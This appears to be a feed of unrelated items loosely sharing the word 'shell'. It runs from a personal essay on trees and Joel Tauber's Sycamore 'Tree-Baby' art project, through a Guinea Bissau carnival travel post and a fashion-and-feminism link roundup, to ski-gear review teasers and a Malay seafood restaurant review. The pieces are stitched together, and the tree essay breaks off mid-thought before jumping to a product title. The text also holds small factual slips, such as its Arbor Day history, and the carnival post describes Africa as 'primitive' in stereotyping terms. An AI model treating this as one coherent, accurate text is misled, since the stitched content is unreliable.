    In our contemporary times we have a legend in the making too. I have been fortunate to witness the emergence of a new ‘Johnny Appleseed’ and interestingly enough, the story involves a recent romantic love affair between one special tree and a mortal that is well worth pursuing the story. Sometime in the fall of in 2007, I met Joel Tauber. This is the artist who I believe was struck by a mythological bolt of lighting, so to speak, pertaining to one of the Greek or Roman deities’. Joel Tauber is said to have fallen head over heels in love with one particular Sycamore Tree in the parking lot of the Rose Bowl in Pasadena. My chance meeting with this now famous mortal under the influence of an enchanted mystical spell, has led me to research the mysteries intrinsic in the charms of trees. I too have been struck with the frailty of trees, their vulnerabilities, and their enormous strengths and inspiration. This together with my own personal experiences with trees has prompted me to come out of my shell and discuss the subject in all seriousness.

    My own personal background is not in trees. I am simply a tree-lover from childhood. For a little over ten years, my professional background was in radio as a disc jockey and on-air personality. I listened to music, reviewed songs and kept tabs on the pop music culture. I worked in the Los Angeles market as well as Santa Barbara, California; Eventually I moved to expand my work experience in neighboring radio markets like Reno, Carson City, Lake Tahoe and Gardnerville/Minden, Nevada. It was through traveling that I saw some of the most beautiful trees along the routes through Northern California and Northern Nevada!
    While I drove from one radio market to another over the years, I watched the trees go by at the various speed limits along the highways of my life’s journeys. Thus you will understand when I tell you that often I see art and life, for that matter, through a series of moving images in my head which include a music bed. 
    I was eleven years old when in 1970, Joni Mitchell wrote and released a song called ‘Big Yellow Taxi’ whose lyrics surpassed the test of time and is currently in airplay by a glut of new groups. The lyrics began with “…They paved paradise and put up a parking lot. They took all the trees and put them in a tree museum and they charged all the people a dollar and a half just to see ‘em.” One of the barometers I use to gage the influence of any particular song, music or artwork that I come into contact with is if it will surpass the test of time, among other important criteria. This song became one of my favorite songs of all time. The lyrics made so much sense to me.
    When I met Joel Tauber, I was introduced to the enormous scope of his Sick-Amour Tree-Baby Project. It was then that I suddenly started hearing Joni Mitchell’s song in my mind again, only this time, as I got in my car, Counting Crows was performing the song. When I started doing more research on the song that I could not get out of my head, I was struck by how many artists had re-recorded the song and barely changed anything about the words. There is Amy Grant, who upgraded the dollar amount from $1.50 to $25 when singing about how much the museums charged people to enter. Additionally there is Green Day, Sarah McLachlan, Charlie Barker, Bob Dylan, Moya Brennan, Ireen Sheer, Donnie Eidt and a host of so many others that have recorded ‘Big Yellow Taxi’ it was simply overwhelming!
    I think the importance of the lyrics to this one particular song is that it reveals the fact that people love trees and hate parking lots. The message is that if it weren’t for our trees, we could be living in a frying pan! The impact of this single song is that it reveals what is really going on in people’s minds. There is a reason why so many artists are flocking to re-record the lyrics in their own way.











    Not only are trees involved in the music arena, trees as subjects, are very involved in politics as well. Gaylord Nelson, a senator from Wisconsin at the time, took a leading role in developing the celebration of Earth Day on April 22nd 1970 as a way to commemorate our environmental concerns. Arbor Day is presently celebrated as well with the first ceremonial tree planting in Washington D.C. on April 27th in 2001, all evidence that goes to prove the people of our planet do care about what happens to our trees.


    Trees stand as a testiment and memorial for Dr. Martin Luther King

    Dr. Martin Luther King is memorialized with trees along Expositon Blvd. across from the Los Angeles Coliseum and down the street from the University of Southern California.
    Photo by Ginger Van Hook


    Online sources on the subject of trees are rich in number. For instance, eighteen years ago, here in Los Angeles, a multi racial group of volunteers planted 400 Canary Island Pine trees along seven miles of road on Martin Luther King Junior Boulevard to commemorate Dr. Martin Luther King’s life. Today, this living homage to Dr. Martin Luther King Jr. continues to thrive and keep the dream alive for his followers. The founder and President of www.treepeople.org is Mr. Andy Lipkis and he keeps tabs on the trees to make sure all 400 trees stay healthy.



    Mayor Antonio Villarigosa is the person to thank for the ‘Million Trees Initiative’ he signed into effect in May of 2006 and Los Angeles residents can learn how they too can receive up to 7 free trees to plant on their property. Visit the website at www.milliontreesla.org to learn the details.   Also in Portland, Oregon there is www.friendsoftrees.org and in Bellingham Washington you will find www.geocities.com. There is also the International Society of Arboriculture called ISA and can be accessed by visiting www.isa-arbor.com. You will also find a great deal of valuable advise on the growth and care of trees at www.treesaregood.com and check out Tree Care Industry Association TCIA as well.



    Mark Dion created an art piece titled "Library for the Birds of Antwerp" which is also a good example of how art is vitally connected with our tree culture and how it connects Mark Dion to his PBS special where he removed a dead tree from the forest and recreated its living components in a city scape in Washington.  From the "20th Century Artbook Phaidon Press 1996", the caption reads: "Using props from the natural and man-made world, Dion has constructed an installation that explores contemporary attitudes to science and the environment. He has created a fictional and hybridized situation in which the trappings associated with knowledge, learning and classification--such as books and photographs--are juxtaposed with natural elements including birds and wood.   The representation of nature is a fundamental subject in Dion's art, and here he takes on the role of sociologist/anthropologist and blurring the boundaries between authentic and fake, representation and parody. By adopting the persona of a scientist and by satirizing man's obsession with categorization, Dion questions the values of the Western world.  His subject matter is heavily influence by popular culture.  In Dion's world we might witness Mickey Mouse as an explorer, or Clark Kent interviewing Dr. Frankenstein." (Photo and contents are used in this story for purposes of artistic review.)

    In the art world, an artist named Mark Dion was featured in a documentary film report that aired in 2007. To view the video one may visit on the Internet by going to www.pbs.org and find Mark Dion as he took the subject of trees and made an art piece that explored what would happen if one were to take a tree after its death, take it out of its familial context of natural forest, and re-create the ecosystem in an environment that would otherwise be a hostile urban setting, needless to say, a cityscape. Just outside of Seattle Washington, he states, a Hemlock fell on February 8th, 1996…and so begins an elaborate experiment that pits optimism against reality." The PBS special is very detailed and you will enjoy the depth of research and work that Mark Dion went to to take a tree out of the forest and recreate the setting in the city.  The difference between the artwork presented by Mark Dion and  the artwork presented by Joel Tauber is in the nature of the life of the tree. Mark Dion works with a dead tree and its living components, and Joel Tauber creates life out of a tree seed and duplicates it all over his community.


    Thus I’ve discovered for myself that when I researched the subject of trees, I discovered Joel Tauber wasn’t alone! However, instead of creating an experiment in ecology, Joel Tauber goes further than Mark Dion does with this concept of eco-systems and their frailties. Joel Tauber begins a journey that could eventually repair the eco-systems that man has destroyed. This is where Joel Tauber takes the lead in the art world and becomes not only the realist but the optimistic hope for trees in desecrated forests all over the country.
    Joel Tauber’s work as a living project of art in 2008 has resonance and his story is well worth telling again and again. He is certainly not the first, nor the last to get involved in the love of trees, but he is the first in contemporary times to have been associated with a mythological and mystical occurrence of reproducing tree babies out of just hugging one lonely tree.


    The last time I saw a man hugging a tree, he was hugging the tree for all the wrong reasons. At the MOCA, Los Angeles’s Museum of Contemporary Art, some years back I was viewing an exhibition that was in town by the Utah born artist now working in Los Angeles, Paul McCarthy. While this work of art depicted a very raw and unsettling sculpture of ‘tree-lovin’ it had nothing whatsoever to do with the love of any tree. The work displayed a timely political statement about our government rather than the love for trees, but bear in mind that the thought involved images from man’s intimate involvement with trees both in the biblical sense and in the sense of man’s raping of the planet. Joel Tauber’s work counteracts the devastation of many years of neglect for our trees with a very basic recipe for the renewal of our commitment to our green-leafed friends. Now, when I see the image of Joel Tauber hugging his Sycamore Tree in Pasadena, I get a whole new perspective for the love for our planet, our trees and our environment as a whole.

    "The Garden" by Paul McCarthy from The 20th Century Art Book, 
    Phaidon Press Limited, page 280. Photo is used for purposes of artistic review.
    The caption in the book reads as follows: " 'The Garden'  is a full-scale tableau of an outdoor, woodland scene, complete with leafy trees, shrubs and rocks.  This tranquil picture of nature is rudely interrupted by the presence of a middle-aged, balding man with his trousers round his ankles, engaged in a wholly unnatural act. From one side of the installation, his actions are not immediately apparent, being partially hidden by the tree trunks and foliage, but the sound of mechanical activity draws the viewer in to discover the shocking sight of a man copulating with a tree.  This robotic figure, with its endlessly repetitive movements, is both comical and crude, and is intended by McCarthy to question notions of acceptable public behavior and sexual morality.  McCarthy is a lecturer at UCLA as well as an artist. His sculptural installations evolved out of his earlier performance work which focused on his own body engaged in extreme and disturbing acts."




    To further explain this romantic entanglement between a tree and a mortal, I cite some important historical facts. Back in 2005, Joel Tauber was in the parking lot of the Pasadena Rose Bowl, when he spotted a particularly lonely and neglected Sycamore Tree. There are hundreds of thousands of trees in Pasadena, and a great number of them thrive very well on the grounds of the Rose Bowl, should you ever drive through this luscious community of tree and rose-lovers, you will see. But Joel Tauber focused his attention on one specific lonely tree. He started to note more and more how cars would hit the bark of the tree and scrape it, injuring the tree repeatedly. Joel Tauber became a witness to this tree’s life. Taking compassion and friendship upon this particular tree, Tauber began to film the area of the parking lot where the tree was growing. He got the idea to put up solid barriers to protect it from cars and also carried water in large plastic bags to irrigate the tree. Soon, Tauber found himself as a one-man band, orchestrating a symphony of activities leading to editing mass quantities of tree footage, fighting City Hall, and embarking on a quest to save this tree from infertility using tried and true guerilla tactics that would make tree-huggers stand and salute. To personally view the Sick-Amour project, along with the giant scale tree sculpture installation exhibited at Susanne Vielmetter Gallery in 2007, you may visit www.vielmetter.com.













                   Recently, I had the privilege and opportunity to discuss Joel Tauber’s work with Susanne Vielmetter and she was delighted to tell me what a wonderful sense of humor that Tauber exhibits in all of his works of art. Susanne Vielmetter reviewed the Underwater project with me as well as the Flying Project which Tauber presented.
    She explained how deep down, she feels Tauber is on a quest for meaning in his work and that he has a keen sense of humor that unifies and makes his ideas successful. She states that he uses the comical and the tragic in the Tree-Baby project to address the issues of urban living in our time and very subtly pokes fun at the problems innate in urban planning. The real irony of a small Sycamore tree dying of thirst in a parking lot of a beautiful park in a paradise-like valley, alongside the 110 Pasadena Freeway where 80% of the territory is plastered with concrete and the water below runs along asphalt channels of the Los Angeles River is not lost on Tauber, she explained. To contrast, Susanne Vielmetter cited that parks in Europe allow for weeds to grow naturally on landscapes that are not covered with concrete. Joel Tauber’s projects were initially presented at the Susanne Vielmetter Gallery located at 5795 Washington Blvd., in Culver City, California. The response Susanne Vielmetter’s Gallery received was incredibly exciting, even though at first, some folks thought Joel Tauber was a nut; he went on to prove just how serious he really is about changing the landscape of our environment, one tree at a time.



    Joel Tauber has a large body of video artwork, photographs and developing tree babies, (the children of a mortal and a Charmed Sycamore Tree) and one may also visit www.joeltauber.com.
    As I learned more and more about Joel Tauber’s project, I realized how blessed we all are that tree-lovin’ is not a singular act of love or even a fleeting love of art. I realized how connected we all are to our environment and how the idea of having a special friend ‘the tree’, any tree in any state, in any country for that matter is a beautiful connection to have. The connection that Joel Tauber has to his Sycamore Tree is in synch with the love that the country is experiencing during our new millennium. We have all become acutely aware of the fragility of life; we realize now more than ever that we must respect our dependence on our environment and value our trees.

    The first thing that struck me about Joel Tauber was that we had the love of trees in common. He seemed a bit shy, unassuming and humble yet I was later to learn the enormous power he wielded for this one frail and neglected tree in the parking lot of the Pasadena Rose Bowl in California. I was truly inspired by the level of involvement and commitment he had demonstrated for his own beloved Sycamore Tree which he had turned into a full-blown art-project including video, photography and sculptured jewelry. (He did it all!) He named this work the Sick-Amour Project mainly because he said he felt this tree was ill from the lack of love and the inability to have tree babies to fulfill its legacy. I had never personally met someone with such an extreme love and dedication to one particular tree. In our local newscasts, I had heard stories of people who became very emotional when a land developer was about to cut down a tree they considered a relic of their community; in which case people got very nasty about the issue and would chain themselves to the trees or surround the location with demonstrators that would shut down the jobsite. That’s when the news crews would come in with their cameras and boom mikes and the news helicopters would hover in circles above the trees trying to capture the ‘event’ that was creating all the uproar. A very recent example of this type of community behavior is written about on the front pages of the Los Angeles Times where Eric Bailey, a Times Staff Writer, wrote an extensive story about the tree-issues pertaining to Scotia, California where activists are protesting the logging of the Great California REDWOODS! Read the Sunday edition of the Los Angeles Times, August 24th, 2008 or visit www.latimes.com online to learn how the tree-sitters are doing today.

    But Joel Tauber is a different type of activist. He doesn’t consider himself an activist at all. He merely states, humbly, just for the record, that he loves this one particular Sycamore Tree and it is an outrage to him to see how his new best friend is being suffocated under a six-inch blanket of black tar and asphalt. Better yet, Joel Tauber does something about it. Not with a crew of forty thousand demonstrators, not even with a crew of forty residents. He does this on his own, quietly challenging the laws of the city of Pasadena and humbly takes responsibility for the care and nurturing of his new best friend. I was touched. At once I began to marvel at his potent idea.



    The art of loving our trees has grown roots in the higher levels of the art world as well. For instance, if one were to visit the J. Paul Getty Museum both at the Getty Villa which recently re-opened in Malibu and at the Getty Center in Los Angeles, you will find the love of trees has grown branches on all the hillsides surrounding both properties. There are lucky Sycamores and fortunate Pines; there are Pomegranate trees, Apple trees, Pear trees, Jacaranda trees and trees that just look good in a vista overlooking the ocean. Millions of dollars went into the development of artistic gardens which envelope the California landscape against a backdrop of the Pacific Ocean on one edge and the rolling hills of Malibu on the other.






    Over in the area of the Miracle Mile, the Los Angeles County Museum of Art is celebrating an enormous renovation of its facilities and you guessed it, there are aisles and isles of gigantic palm trees lining the walkways to the entrance of the museum in concert with a unique and flamboyant architecture that has drawn the attention of the art-world with the generosity of Eli and Edythe Broad of the Broad Foundation. The Broad Contemporary Art Museum is the new wing at the LACMA and is considered the largest space in the country devoted exclusively to contemporary art. With a ‘living art display’ dedicated to the iconic palm trees, not native to California, Robert Irwin has developed a plein-air walkway through ‘Palm Gardens’ as one makes their way to the entrances of the museum.





    Lush green trees thrive all over Pasadena, California, home of the Rose Bowl where Joel Tauber fell in love with a Sycamore Tree.  Photo by Ginger Van Hook, 2008




     The Norton Simon Museum in Pasadena, California  is also home to some of the most exquisite antiquities in its museum history which includes sculptures amid a forest like atmosphere. Currently at the Norton Simon Museum, among its many exhibitions, one may enjoy the artwork of Ruth Weisberg, Dean of the Gayle Garner Roski School of Fine Arts at the University of Southern California. Opening on October 17, 2008 the Weisberg exhibition at the Norton Simon runs through March 2, 2009. Additionally a lecture by the artist is planned where Weisberg discusses: Guido Cagnacci and the Resonant Image on Sunday November 16, 2008.  The Norton Simon Museum of Art is located at 411 West Colorado Blvd. in Pasadena, California. Ruth Weisberg was instrumental in selecting the work of Joel Tauber to be permanently planted on the Main University Campus of USC on January 24, 2008 where a tree planting ceremony was held and attended by numerous members of USC faculty, staff, students and guests. The location of the new tree-baby, child of the Sick-Amour Project, currently exists on the Exposition side of the campus between Gate one and the Fischer Gallery, across the street from the Museum of Natural History. 


    In Pasadena, where lovers of trees line every street of the city as the landscapes are lush with all types of trees and where these wonderful healthy trees keep cool the throngs of tourists who visit the Rose Bowl every year, is also home to the Norton Simon Museum and the Pasadena Museum of California Art. Both locations are areas where tree-lovin’ may be experienced alongside some of California’s best-known artworks. Visit the NORTON SIMON MUSEUM at www.nortonsimon.org located at 411 West Colorado, Pasadena, California 91105 or visit the PASADENA MUSEUM OF CALIFORNIA ART at www.pmcaonline.com at 490 East Union Street, Pasadena, California.



    In San Marino, California, the art of trees, gardens and succulents has found a worthy haven at the Huntington Library and Botanical Gardens spanning an area of 120 acres dedicated to the fine arts founded by Henry E. Huntington in 1928 as the very first public art gallery in Southern California. Along with English portraits and French eighteenth-century furniture, one will delight in tours of the unique garden paradise established for the pure love of the botanical arts.


    On the hillside along the 405 Freeway in Los Angeles, one may also enjoy walking along the elegant landscapes of the Skirball Cultural Center and Museum grounds and witness the serenity of the trees as Weeping Willows slope their leaves to the ground, and gentle breezes sway the branches of Sycamores, Oaks and Birch trees. Visit the Skirball Museum online at www.skirball.org, or enjoy a personal walk along the grounds and explore the tributes to culture at 2701 North Sepulveda, Los Angeles 90049.

    Trees at the Skirball Museum and Cultural Center thrive and enjoy the mild California climate.


    In San Diego, one enjoys walking through a vast museum complex housing 15 unique museums in Balboa Park, not to mention to the collection of rare cactus and enormous Eucalyptus trees (just to name one tree type out of numerous ones) which shade the paths leading from one museum to another.

    Each of the locations I have mentioned or described here is where I personally walked through, witnessed, and or photographed sophisticated artistic tree landscapes of the California terrain.

    The Roots of my personal anxieties: Why I care.

    The impact of my meeting Joel Tauber coincided with an important event that took place for me way before I knew about his Sick-Amour Tree project and was what eventually led me to throw myself into this frenzied study of trees over this summer. Thus I do not necessarily consider myself struck by any of the Greek or Roman gods. I believe my influence came with a special awareness of the frailty of trees with this personal story:

    A little over one year ago, on June 30th, 2007 I was walking our dog Sasha, around the block for one of our frequent walks. I rounded the corner to the next block when I was taken aback as I witnessed a set of ‘city’ crewmembers slaughtering what appeared to be a California Oak tree. I had grown quite fond of that particular Oak on my many walks while I was writing my first novel. As a matter of fact, I had used that model of tree to describe a forest of these trees in a chapter in my first fiction novel. I especially love the sculptured texture of the Mighty gnarly Oaks. This tree had been the one to rekindle my relationship with the trees of my imagination. My stomach got queasy when I saw how it was being destroyed. I would have thrown-up, but I got a hold of my emotions and took Sasha home. Not only did I return to the scene of the slaughter, but I brought my camera to document the death and dismemberment of this great oak; I was so distraught that I returned again to the site, without my camera this time, and begged the men to stop for a moment while I sought out the seeds for this tree. To my surprise, the men stopped and helped me search for the seeds.








    When I got home, I had no idea what to do with the seeds. I called a couple of nurseries until a gentleman at a nursery in Marina del Rey explained to me that I had to wait until the pods dried up and slit to get at the seeds and plant them. So, I waited until the pods were black and wrinkled. I split them according to the directions I had gotten from this kind anonymous arborist. (He suggested a process much like that which squirrels have for cracking the pods.) I photographed the seeds and compared them with the larger seed of an apricot fruit tree and the seed of a maple tree.






    Once properly documented, I planted them in a small brown pot. Two weeks later, the first seed came up. A few days later another seed appeared to take root. On the one-year anniversary of the re-birth day of this Great Knurly Oak tree, July 20th, 2008, I documented how large the great twin oaks had become. The highest little bitty branch was about fourteen inches tall. I estimated this tree had grown a little over an inch every month. A compassionate act of kindness yielded a new life on the impulse of grief. The impulse of grief affected not only me; there is an entire world of tree-lovers mourning the losses of their favorite tree friends in surrounding communities.












    What about the subconscious feelings innate in developing a relationship with a tree? For instance, what draws people to want to save a particular tree? 

    I can really only speak to my own experience in that my relationship with trees started when I was a child.

              Logitech BLOK 9.7" Shell Zwart        

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              Carnival in Guinea Bissau        

    Uniquely in West Africa, Guinea Bissau follows the latin tradition of holding a carnival on the days leading up to Lent.  As a desperately poor country this clearly isn't the extravaganza of the one in Rio, but I had heard that the people make up in inventiveness what they lack in financial resources and so I used some of the precious time I have left in the region to fly down to Bissau for a long weekend to see the carnival parades.

    What a good decision that was - I would recommend this carnival to anyone!  A riot of drumming and colour!

    The parades started at 4pm on Monday, with each of nine districts of the capital putting on their own displays in a relay that lasted until well after dark at 7.30pm (a little sad for those parading last given the lack of street lighting in Bissau), with the same pattern the next day for the regional displays.  The basic format was the same for each district, first the dancers in costume, and then those sporting giant papier-mache masks, all accompanied by fast and frantic drumming.

    The costumes varied enormously.  There were many troupes of near-naked women and girls, wearing just strings of shells and beads with a grass skirt or for some just a piece of snake skin hanging from the waist for modesty, their bodies gleaming with a yellowy sheen of palm oil.  I was very surprised at the amount of bare flesh on show for a region of the world where the female body - at least the lower half - is usually very well covered.  There were traditional fibre costumes and wooden masks, some of the locally made 'lapa' strip-woven cloth, and some more modern outfits such as army uniforms, the dancers carrying fake machine guns (remember this is a country whose politics is dominated by the army) and in one case handing over the guns, as part of their dance, to women wearing the white of peace - this latter was very popular with the crowd!

    Other dances were focused on the need to stop female genital cutting and enforced early marriage.  Some included mock fights, or sharing the rice contained in a big calabash, and one involved two men walking around carrying a large live crocodile, its mouth tied shut with pink string.  Nobody near me in the crowd could explain the significance of that one.

    The papier-mache masks were enormously varied and impressive, from tigers and dragons, pieces of fruit and vegetables, army chiefs and colonial administrators, fishing boats and - my favourite - a turtle mask, its poor 'wearer' having to crawl along on all fours around the carnival route.

    The crowd were enjoying it all immensely, pressing forward into the road; every so often the police would hit out with big sticks to get them back into place.  Others were perched in the branches of trees to get a better view - and at one point a branch fell with the weight of the people there and a commotion ensued as an ambulance forced its way through the crowd to collect the injured.  But nothing could stop the party spirit.

    It all reminded me, again, of what it is that makes me so enjoy my life here.  It is that Africa, unlike the West, has not yet lost its primitive side.  The rhythms are of night and day, and seasons (rather than of clocks and calendars) accompanied by the rhythms of the drums and the wonderfully expressive forms of African dance.  They bring both a feeling of being at peace with the environment and a joy in being alive.  Perhaps that is why most Africans, despite the pervasive poverty, are usually smiling.


              why we care about what we wear        
    Chimamanda Ngozi Adichie: Why Can't a Smart Woman Love Fashion?
    I had learned a lesson about Western culture: Women who wanted to be taken seriously were supposed to substantiate their seriousness with a studied indifference to appearance. For serious women writers in particular, it was better not to dress well at all, and if you did, then it was best to pretend that you had not put much thought into it. If you spoke of fashion, it had to be either with apology or with the slightest of sneers. The further your choices were from the mainstream, the better. The only circumstance under which caring about clothes was acceptable was when making a statement, creating an image of some sort to be edgy, eclectic, counterculture. It could not merely be about taking pleasure in clothes. ... I dress now thinking of what I like, what I think fits and flatters, what puts me in a good mood. I feel again myself—an idea that is no less true for being a bit hackneyed. I like to think of this, a little fancifully, as going back to my roots. I grew up, after all, in a world in which a woman's seriousness was not incompatible with an interest in appearance; if anything, an interest in appearance was expected of women who wanted to be taken seriously.
    *Pacific Standard - What to Wear? *Avidly/LA Review of Books - Lady Professor Conference Fashions *Racialicious - Haute Couture In The 'Ivory Tower': "The spread presumes that when a professor walks into a classroom she is a blank slate, a model to be adorned in fine clothing and given an identity. The reality is that scholars of color, women, and other groups whose bodies are read as non-normative have never been able to check their race, gender, religion, or sexual orientation at the door. As soon as we walk onto campus, our bodies are read in a certain (often troubling) manner by our students, our colleagues, and school administrators. Our professionalism and our intellectual competence are largely judged by how we style ourselves. Therefore, we are highly aware of how we adorn our bodies. And, like our foremothers and forefathers who innovated with American "street fashions," we, too, use our fashion sense to define ourselves, our professionalism, and our research and teaching agendas on our own terms." Tamara Shayne Kagel: The Feminist's Dilemma: Why We Can't Stop Caring About How We Look
    I find myself constantly trapped in a world where I desperately want to be judged by my work but at the same time, I want other people to think I'm pretty. I'm permanently berating myself for caring about my appearance, because I am aware on a mental level that to care at all is to be superficial. But at the same time, I find myself squirming uncomfortably when I run into someone at the supermarket when I'm a sweaty, disheveled mess... This cognitive dissonance is a state that most modern women inhabit all the time, but refuse to acknowledge. Instead, we talk and write and judge like we live in a post-superficial world. [...] It's a rare breed of woman who truly doesn't care about her appearance, and there are some women who only care about their appearance. But most of us fall in the middle -- wanting to be appreciated and loved and valued for more than how we look, but unable to completely expunge all interest in our outward image. If this is where most of us live, shouldn't we be asking for acceptance to be in this middle space?... Isn't it normal to hope that the picture of you is not taken from a horrible angle the moment you wake up and at the same time be concerned with society's obsession about the ubiquitous worship of an unattainable ideal of the female form?
    Sociological Images - The Balancing Act of Being Female; Or, Why We Have So Many Clothes (previously): "And, of course, all women are going to get it wrong sometimes because the boundaries are moving targets and in the eye of the beholder. What's cheeky in one setting or to one person is flirty in or to another. So women constantly risk getting it wrong, or getting it wrong to someone. So the consequences are always floating out there, worrying us, and sending us to the mall." *This Kind Choice - I Am Woman, Watch Me Shop? Part 1 – The Ever Changing Clothes *Part 2 – Appearance as Identity, A Double-Edged Sword *The Nation - For Women's Office Wear, Who's Making the Rules? *The Atlantic - No, It's Not Sexist to Describe Women Politicians' Clothes *Feministing - Learning to dress "professionally" in a white man's world Already Pretty: Why Caring About Your Appearance Is Valuable to Self-Care
    In order to move through most peopled societies, we are required to wear clothing. Nudist colonies aside, we've all got to get dressed every day if we want to leave our homes for any reason... And in my opinion, since we've got to get dressed anyway, we might as well do it expressively and in ways that feel good. I've said it before, I'll say it again: Dress, grooming, and overall appearance constitute the first levels of information about ourselves that we offer to the observing world. They may not be the most important, but they are the first, which makes them worthy of effort and attention. ...I've already acknowledged that how you look isn't the most important thing about you... But thinking of your body as a brain-and-personality-holder strikes me as short-sighted. Consider this: Someone who focuses virtually all attention, care, and love on their body is generally considered to be vain. So why would focusing virtually all attention on your intellect, creativity, and personality be any less imbalanced? You're not a zombie – a body that moves through life without a functioning brain. But you're also not a brain in a jar – thinking and creating in the abstract alone. You have a body. As long as you are alive you will have a body. In fact, without your body, your intellect and creativity and personality wouldn't exist. Pitting your mind against your body is like cooking up a personal civil war.
    Bridgette Raes - Are You a Devaluist and Don't Even Know It? (Guest Post): "Clothing is often seen as a superficial shell, and fashion a frivolous, flighty thing that gets in the way of the serious stuff. The real stuff. But I don't believe that. I don't believe we can neatly divorce the way we look from the way we live. I believe the way we look is a reflection of the way we live." Dress A Day - You Don't Have to Be Pretty: "You don't owe prettiness to anyone. Not to your boyfriend/spouse/partner, not to your co-workers, especially not to random men on the street. You don't owe it to your mother, you don't owe it to your children, you don't owe it to civilization in general. Prettiness is not a rent you pay for occupying a space marked "female". I'm not saying that you SHOULDN'T be pretty if you want to. (You don't owe UN-prettiness to feminism, in other words.)" (responses to "The Princess Effect", previously on MeFi) *Washington Post - Being informed and fashionable is natural for women *Flavorwire - The Catch-22 of Women's Magazines *Kat Stoeffel - Finally, 'Serious' Women Are Standing Up for Fashion Magazines: "As long as we all need to get dressed each morning, clothing will be a communication tool... Men and women both choose how they deploy the language of fashion; but women, deprived of the suit-as-uniform, still face unique challenges in fashion fluency... Women's magazines — especially when they work with women like Clinton, Abramson, and Mastromonaco — offer other women a map for navigating style and other sexist minefields without compromising their intellectual integrity. For that, we should celebrate them. And if we want to level the playing field, we should start by posing the same "frivolous" questions of men." *Ms. Magazine - If the Clothes Fit: A Feminist Takes on Fashion: "If feminists ignore fashion, we are ceding our power to influence it. Fortunately, history has shown that feminists can, instead, harness fashion and use it for our own political purposes." *GirltalkHQ - Fashion Vs Feminism: Can You Like Both? We Break It Down *Greta Christina - Fashion is a Feminist Issue: "In fact, fashion and style are so much like a language, I'm always a bit baffled when people say things like, "I want to be judged on who I am, not on the clothes I wear." It's a bit like saying, "I want to be judged on who I am, not on the words that come out of my mouth." ...Fashion is a form of expression. A language of sorts. An art form, even. It's also one of the very few art forms/ languages/ forms of expression in which women have more freedom than men... And I don't think it's an accident that it's typically seen as shallow, trivial, and vain." Medium (Backlash Book Club) - And Another Question: What Ever Happened to Pantsuits?: "Faludi writes about fashion as if women were totally subservient to its dictates (and as if its dictates were unified), but, of course, most women—precisely because they are judged so much by their appearance—know how to manipulate, subvert, and use clothes. To some extent, they're tools, like hammers." The New Inquiry, Vol. 20 - Sept. 2013, "Off Brand" issue (link opens PDF file) "We are told we must be clothed, and then that our clothes are not good enough.That fashion is predicated on this cruelty—making luxury of necessity, and necessity of a luxury—makes it as morally questionable as the behavior of foodies. Fine: We accept this. But we are also told that we must be bodies and that our bodies are not good enough, and fashion (at least for those who fit into it) can provide an escape from the disappointment of our flesh. Some of us feel we were born into the wrong body; for that, fashion is the first corrective. For others, fashion is the first rebellion... In selecting appearances, we want not only to be seen but sometimes to be heard before we speak. Fashion can be a weapon of the silenced, even when it is seized and wielded by those who have always talked loudest." *Open Society Initiative for Southern Africa - Fashion for Feminists: How fashion and dress shape women's identities *Migrant Woman Magazine - Asalet Tulaz: I like being the colour of feminism *Buzzfeed - How Iran's Young Women Are Using Fashion To Influence Politics *Minh-Ha T. Pham - Why Fashion Should Stop Trying to be Diverse *À l'allure garçonnière - Fashion Blogging Culture: Demanding Substance Over Style *Tanisha C. Ford - You Betta Werk!: Professors Talk Style Politics: "Below are excerpts from some of the interviews I conducted with women professors of color. Together, these interviews illustrate that studies on fashion and adornment politics offer a powerful lens through which we can explore other important issues such as women's rights, motherhood and relationship status, pleasure and sexuality, and the politics of "respectability."" Alison Bancroft - How Fashion is Queer: "The feminine is as much of a minority interest in culture as it is anywhere else in life. The only exception to this is fashion. This is why fashion is a radical creative space where heterosexual gender binaries are irrelevant and queer is the default setting, and it is also why fashion is routinely denigrated and dismissed." Final Fashion - so, is fashion feminist?: "Why is the visual aspect of fashion so inextricably linked to feminism, and why is it worth considering how to dress like a feminist?" Chimamanda Ngozi Adichie previously on MeFi: the danger of a single story
              Editor’s Review: Turtle Shell 3.0 waterproof, bluetooth speaker, by Outdoor Tech        

    Welcome to another installment of Editor’s Review from FREESKIER. Each week our editorial staff provides in-depth, honest reviews about the gear they’re testing on a weekly basis. Our goal? To point you towards the best brands and products on Earth so you can trust your equipment whole-heartedly and have as much fun in the mountains […]

    The post Editor’s Review: Turtle Shell 3.0 waterproof, bluetooth speaker, by Outdoor Tech appeared first on Freeskier Magazine.


              Gear We’re Testing: Speakers, headphones, hiking boots, spring shells and outerwear        

    Welcome to another roundup of Editor’s Reviews from FREESKIER. Each week our editorial staff provides in-depth, honest reviews about the gear we’re testing. Our goal? To point you towards the best brands and products on Earth so you can trust your equipment whole-heartedly and have as much fun in the mountains as possible. Read up […]

    The post Gear We’re Testing: Speakers, headphones, hiking boots, spring shells and outerwear appeared first on Freeskier Magazine.


              By: Chocobananos | La Vie Overseas        
    […] 1: Purchase melting chocolate and chocobanano sticks. Melher brand is available in your local Latino market, but you probably use magic shell (bonus: you get to skip the melting step) and regular popsicle […]
              ShellOut Terbaik Penang Di Fullamak Cafe         
    ShellOut Terbaik Penang Di Fullamak Cafe |Jika sebelum ini aku lebih gemar makan makanan western, apa salahnya aku cuba menu baharu yang tampak lebih segar iaitu makanan laut yang dikenali sebagai 'shellout'. Dengan pulak rakan aku ajak pergi ke restoran shellout, memang aku tak tolak lah untuk turut join sekali. Sebenarnya sebelum tu, kami keluar pergi layan filem Dunkirk di Sunway dulu. Haha lepaskan stress...

    ShellOut Terbaik Penang Di Fullamak Cafe

    Selepas tamat filem dalam pukol 2.30 petang macam tu barulah kami beredar pergi ke sebuah restoran shellout 'Fullamak Cafe' di Taman Pauh Jaya, Perai. Bersebelahan dengan pejabat UDA. Dengan khabarnya restoran ala-ala kafe ni semakin mendapat perhatian di hati rakyat orang Utara khususnya di Prai. Sampai je kafe tu biasalah waktu petang dalam pukol 3 macam tu mana nak ada orang pergi makan. Makanan laut ni kebanyakan orang lebih gemar makan pada waktu malam...baru feels kan..!

    Tapi dah sampai sini tak kan kami nak balik dengan perut kosong. Memang tak lah... Terpegun seketika mana taknya konsep yang ditampilkan dalam kafe ni memang cantik yang bertemakan bolasepak. Anda boleh lihat di sekeliling cafe dipamerkan gambar jersi bola, mafla termasuklah stiker pelbagai kelab dan negara. Haaa tanpa buang masa kami setuju pilih menu 'Set 6 Sekawan' walaupun kami hanya 5 orang ja.

    ShellOut Terbaik Penang Di Fullamak Cafe

    ShellOut Terbaik Penang Di Fullamak Cafe

